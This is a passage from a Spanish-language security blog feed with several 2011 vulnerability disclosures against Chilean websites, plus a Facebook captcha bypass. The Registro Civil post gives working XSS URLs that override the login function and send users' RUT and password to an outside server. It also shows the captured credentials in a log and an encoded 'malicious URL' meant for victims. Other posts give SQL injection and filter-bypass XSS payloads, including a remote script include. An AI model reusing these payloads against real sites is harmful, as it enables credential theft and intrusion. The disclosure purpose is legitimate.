<p>Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable &#8220;pag&#8221; y sobreescribir la función javascript &#8220;ingresar()&#8221;.</p>
<p>En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación</p>
<p><strong>El nombre de usuario/rut</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p><strong>La password</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón &#8220;Ingresar&#8221;, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.<br />
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos<br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc'; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert('rut: ' %2b _a %2b ' password: ' %2b _b); }&lt;/script&gt;&lt;script&gt;">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc&#8217;; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(&#8216;rut: &#8216; %2b _a %2b &#8216; password: &#8216; %2b _b); }&lt;/script&gt;&lt;script&gt;</a></p>
<p>Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png"><img class="aligncenter size-full wp-image-2823" title="regciv_certl_pwd" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png" alt="" width="554" height="414" /></a></p>
<p>Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.</p>
<p>Modificaremos la función &#8220;ingresar()&#8221; de forma tal que nos envie la información del formulario al dominio <strong>zerial.org</strong> (de pruebas), usando el siguiente código javascript:</p>
<pre name="code" class="c">pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}
<script></script></pre>
<p>Se lo inyectamos a la URL vulnerable:</p>
<p><a href=" https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E"></p>
<p>https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20</p>
<p>var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:</p>
<p><strong>x.x.x.x &#8211; - [xx/Nov/2011:xx:xx:xx -0300] &#8220;GET /PoC_RegCivil?tipoAyuda=&#038;runOI=1544345&#038;dvOI=&#038;passwordOI=prueba HTTP/1.1&#8243; 200 1529 &#8220;-&#8221;"</strong></p>
<p>Podemos ver donde dice <strong>runOI</strong> y <strong>passwordOI</strong>, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario</p>
<p><strong>RUT:</strong> 1544345<br />
<strong>Password:</strong> prueba</p>
<p>Finalmente, la URL maliciosa tendría la forma:</p>
<p><a href="http://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45</a></p>
<p>Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.</p>
<p><strong>ACTUALIZADO (3 de Diciembre):</strong> Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.</p>
<p>Como siempre, hay que hacer publicas las fallas para que le den solucion.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Frobo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"  data-text="Robo de credenciales y suplantación de identidad en sitio web del Registro Civil" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>El captcha de Facebook es una farsa, no sirve y está de adorno!</title>
		<link>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/</link>
		<comments>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 18:31:04 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2710</guid>
		<description><![CDATA[Los captchas (Completely Automated Public Turing test to tell Computers and Humans Apart) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/facebook_captcha_fail.png"><img class="aligncenter size-full wp-image-2711" title="facebook_captcha_fail" src="http://blog.zerial.org/wp-content/uploads/2011/09/facebook_captcha_fail.png" alt="" width="319" height="247" /></a></p>
<p>Los captchas (<em>Completely Automated Public Turing test to tell Computers and Humans Apart</em>) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques (por ejemplo fuerza bruta).</p>
<p>En el caso de <strong>Facebook</strong>, el captcha está de adorno. Manualmente, un usuario puede hacer uso de google para buscar personas y llegar a su página de Facebook, por ejemplo, buscamos a &#8220;Juan Perez&#8221; y llegamos a su perfil <a href="http://www.facebook.com/juan.perez">http://www.facebook.com/juan.perez</a>, Facebook nos mostrará un captcha para poder ver si perfil</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb.png"><img class="aligncenter size-full wp-image-2713" title="captcha_fb" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb.png" alt="" width="410" height="186" /></a></p>
<p>Si ingresamos las palabras que nos aparecen (iedshm, and) podremos ver un poco más sobre el usuario como su foto</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb2.png"><img class="aligncenter size-full wp-image-2714" title="captcha_fb2" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb2.png" alt="" width="471" height="146" /></a></p>
<p>Una persona debería poder ver este tipo de información si ingresa a facebook e ingresa el captcha correspondiente, para evitar que programas automatizados o bots se dediquen a recolectar información de los usuarios, pero la verdad es otra. <strong>El captcha de Facebook está de adorno</strong>.</p>
<p><span id="more-2710"></span></p>
<p>Hagamos el mismo ejercicio, busquemos a una persona en Google e ingresemos a su perfil en Facebook <a href="http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077">http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077</a> y Facebook nos muestra amablemente un captcha</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb3.png"><img class="aligncenter size-full wp-image-2716" title="captcha_fb3" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb3.png" alt="" width="553" height="190" /></a>¡<strong>Asombroso</strong>! Las eguridad de Facebook ha mejorado, ya que nos pide ingresar caracteres que no son alfa-numericos&#8230;. Ya, pero hablemos en serio.</p>
<p>Intentemos ingresar cualquier palabra a ver que pasa</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb4.png"><img class="aligncenter size-full wp-image-2717" title="captcha_fb4" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb4.png" alt="" width="482" height="174" /></a></p>
<p>Magicamente, sin ningun tipo de seguridad, nos muestra el perfil de la persona</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb5.png"><img class="aligncenter size-full wp-image-2718" title="captcha_fb5" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb5.png" alt="" width="586" height="507" /></a></p>
<p>Ahora ya sabemos que el captcha de Facebook es de juguete y que podemos saltarlo simplemente con un &#8220;enter&#8221;. Solo bastan unos minutos para programar un pequeño script que se dedique a recolectar información de los usuarios.</p>
<p>¿Será otra caracteristica de facebook o será otra violación a la privacidad de sus usuarios? Claramente esto se trata de un bug, ya que de lo contrario no se molestarían en pedir un captcha.</p>
<p>Ironicamente, cuando vemos el link &#8220;¿Que es esto?&#8221; al lado del captcha, Facebook nos muestra la siguiente información:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb6.png"><img class="aligncenter size-full wp-image-2721" title="captcha_fb6" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb6.png" alt="" width="498" height="192" /></a></p>
<p>Otra más de facebook.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Finteres-general%2Fel-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/"  data-text="El captcha de Facebook es una farsa, no sirve y está de adorno!" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Servipag: Continua siendo un portal de pagos inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/#comments</comments>
		<pubDate>Sat, 27 Aug 2011 19:46:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[data leak]]></category>
		<category><![CDATA[information leak]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2637</guid>
		<description><![CDATA[Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Pasa el tiempo y, luego de haber reportado <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">las vulnerabilidades que afectaban a Servipag</a>, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una <a href="http://www.secureless.org/vulnerability/2012/">reportada en Secureless</a>, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.</p>
<p>Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos &#8230; PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png"><img class="aligncenter size-full wp-image-2638" title="srvpag_comprob1" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png" alt="" width="572" height="373" /></a></p>
<p><strong>Que tipo de información podemos ver aqui?</strong></p>
<p>1. Se refiere al &#8220;cliente&#8221; como &#8220;Usuario&#8221;, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.<br />
2. El banco mediante el cual se hace el pago.<br />
3. Empresa o servicio que se paga.<br />
4. Monto, fecha y ID del pago realizado.</p>
<p>Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago &#8230; en fin, una serie de información que nadie tendría que saber.</p>
<p><span id="more-2637"></span></p>
<p>Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del <strong>68012208</strong>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png"><img class="aligncenter size-full wp-image-2641" title="srvpag_comprob2" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png" alt="" width="563" height="347" /></a>Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.</p>
<p><strong>No es esto poner en riesgo los datos de los usuarios?</strong></p>
<p>La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png"><img class="aligncenter size-full wp-image-2643" title="xss_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png" alt="" width="572" height="252" /></a></p>
<p><strong>Cual es el potencial riesgo de estas dos vulnerabilidades juntas?</strong></p>
<p>Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.</p>
<p>Nuevamente, <strong>Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.</strong></p>
<p><strong>ACTUALIZADO</strong> Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png"><img class="aligncenter size-full wp-image-2650" title="xss_serv" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png" alt="" width="425" height="336" /></a></p>
<p>Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.</p>
<p><strong>ACTUALIZADO (6 de Septiembre)</strong><br />
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para &#8220;obligarlos&#8221; a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:</p>
<p><a href="http://www.secureless.org/vulnerability/2034/">http://www.secureless.org/vulnerability/2034/</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-continua-siendo-un-portal-de-pagos-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"  data-text="Servipag: Continua siendo un portal de pagos inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidades en Cooperativa.cl: Saltándose los filtros.</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 13:58:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cooperativa]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[filtros]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[protecciones]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2579</guid>
		<description><![CDATA[Ya vimos en el caso de Servipag unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada. El sitio afectado corresponde al subdominio &#8220;musica.cooperativa.cl&#8221; el cual es [...]]]></description>
			<content:encoded><![CDATA[<p>Ya vimos en <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">el caso de Servipag</a> unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada.<br />
El sitio afectado corresponde al subdominio &#8220;<strong>musica.cooperativa.cl</strong>&#8221; el cual es vulnerable a inyección de código sql y cross site scripting.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png"><img class="aligncenter size-full wp-image-2582" title="cooperativa_musica" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png" alt="" width="617" height="88" /></a></p>
<p>La vulnerabilidad se encuentra en el archivo <strong>disco.php</strong> mediante la variable <strong>id</strong>. Es posible generar un error facilmente ingresando una comilla simple (&#8216;):</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png"><img class="aligncenter size-full wp-image-2584" title="cooperativa_1" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png" alt="" width="398" height="90" /></a></p>
<p>Hasta el momento el &#8220;<strong>filtro</strong>&#8221; escapa el la comilla y anteponiendo un <em>backslash</em> (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando <strong>&#8216;+or 1=+ union+select+database(),user()+&#8211;+</strong> y obtenemos como resultado <strong>&#8220;Error select * from disco where id=3342\&#8217;  1=    (),() &#8211;&#8221;</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png"><img class="aligncenter size-full wp-image-2585" title="cooperativa_2" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png" alt="" width="633" height="86" /></a></p>
<p>Efectivamente el &#8220;filtro&#8221; está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <strong>&lt;em&gt;prueba&lt;/em&gt;</strong>, obtenemos <strong>Error select * from disco where id=3342&lt;&gt;&lt;/&gt;</strong></p>
<p>Bien, ahora nos saltaremos los filtros que nos han puesto&#8230;</p>
<p><span id="more-2579"></span></p>
<p><strong>¿Piensas que es muy complicado?</strong></p>
<p>Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo <strong>único</strong> que tenemos que hacer es escribir con mayúsculas.<br />
Como prueba de concepto usaremos el siguiente link:</p>
<p><a href="http://musica.cooperativa.cl/disco.php?id=3342%3CSTRONG%3EHOLA!%20ESTOY%20ESCRIBIENDO%20CON%20MAYUSCULAS%20PARA%20SALTARME%20TU%20FILTRO!!%3C/STRONG%3E"><strong>http://musica.cooperativa.cl/disco.php?id=3342&lt;STRONG&gt;H</strong><strong>OLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!&lt;/STRONG&gt;</strong></a></p>
<p>Mira lo que obtenemos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3.png"><img class="aligncenter size-large wp-image-2587" title="cooperativa_3" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3-1024x89.png" alt="" width="691" height="60" /></a></p>
<p>Para realizar la típica <strong>prueba de concepto</strong>, usando la función <em>alert()</em> de JavaScript tendremos un problema, ya que al escribir &#8220;ALERT&#8221; (con mayúsculas), no encontrará ninguna función con ese nombre &#8230; Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <strong>&lt;SCRIPT&gt;</strong> con el atributo <em>SRC</em> y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script <strong>&#8220;POC.JS</strong>&#8221; que contiene &#8220;<strong>alert(&#8216;Prueba de concepto XSS&#8217;)</strong>&#8221; (sì, con minúsculas), entonces llamamos al script de la siguiente forma:</p>
<p><strong>&lt;SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS&gt;&lt;/SCRIPT&gt;</strong></p>
<p>Y obtenemos lo siguiente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png"><img class="aligncenter size-full wp-image-2589" title="cooperativa_4" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png" alt="" width="470" height="392" /></a></p>
<p>Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.</p>
